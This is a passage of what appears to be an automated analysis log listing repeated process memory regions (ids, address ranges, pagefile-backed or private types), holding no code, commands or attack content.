0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14522 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14523 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14524 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14525 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14526 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14527 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14528 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14529 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14530 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14531 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14532 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 14533 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 14534 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14535 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14536 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14537 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14538 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14539 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14540 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14541 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14542 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14543 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14544 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14545 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14546 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14547 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14548 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14549 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14550 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14551 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14552 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14553 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14554 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14555 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14556 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14557 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14558 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14559 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14560 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14561 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14562 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14563 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14564 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14565 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14566 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14567 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14568 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14569 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14570 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14571 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14572 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14573 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14574 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14575 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14576 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14577 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14578 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14579 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14580 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14581 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14582 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14583 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14584 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14585 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14586 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14587 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14588 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14589 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14590 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14591 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14592 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14593 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14594 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14595 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14596 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14597 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14598 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14599 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14600 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14601 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14602 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14603 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14604 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14605 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14606 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14607 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14608 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14609 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14610 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 14611 start_va = 0x470000 end_va = 0x476fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 14612 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14613 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14614 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14615 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14616 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14617 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14618 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14619 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14620 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14621 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14622 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14623 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14624 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14625 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14626 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14627 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14628 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14629 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14630 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14631 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14632 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14633 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14634 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14635 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14636 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14637 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14638 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14639 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14640 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14641 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14642 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14643 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14644 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14645 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14646 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14647 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14648 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 14649 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 14650 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14651 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14652 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14653 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14654 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14655 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14656 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14657 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14658 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14659 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14660 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14661 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14662 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14663 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14664 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14665 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14666 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14667 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14668 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14669 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14670 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14671 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14672 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14673 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14674 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14675 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14676 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14677 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14678 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14679 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14680 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14681 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14682 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14683 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14684 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14685 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14686 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14687 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14688 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14689 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14690 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14691 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14692 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14693 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14694 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14695 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14696 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14697 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14698 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14699 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14700 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14701 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14702 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14703 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14704 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14705 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = 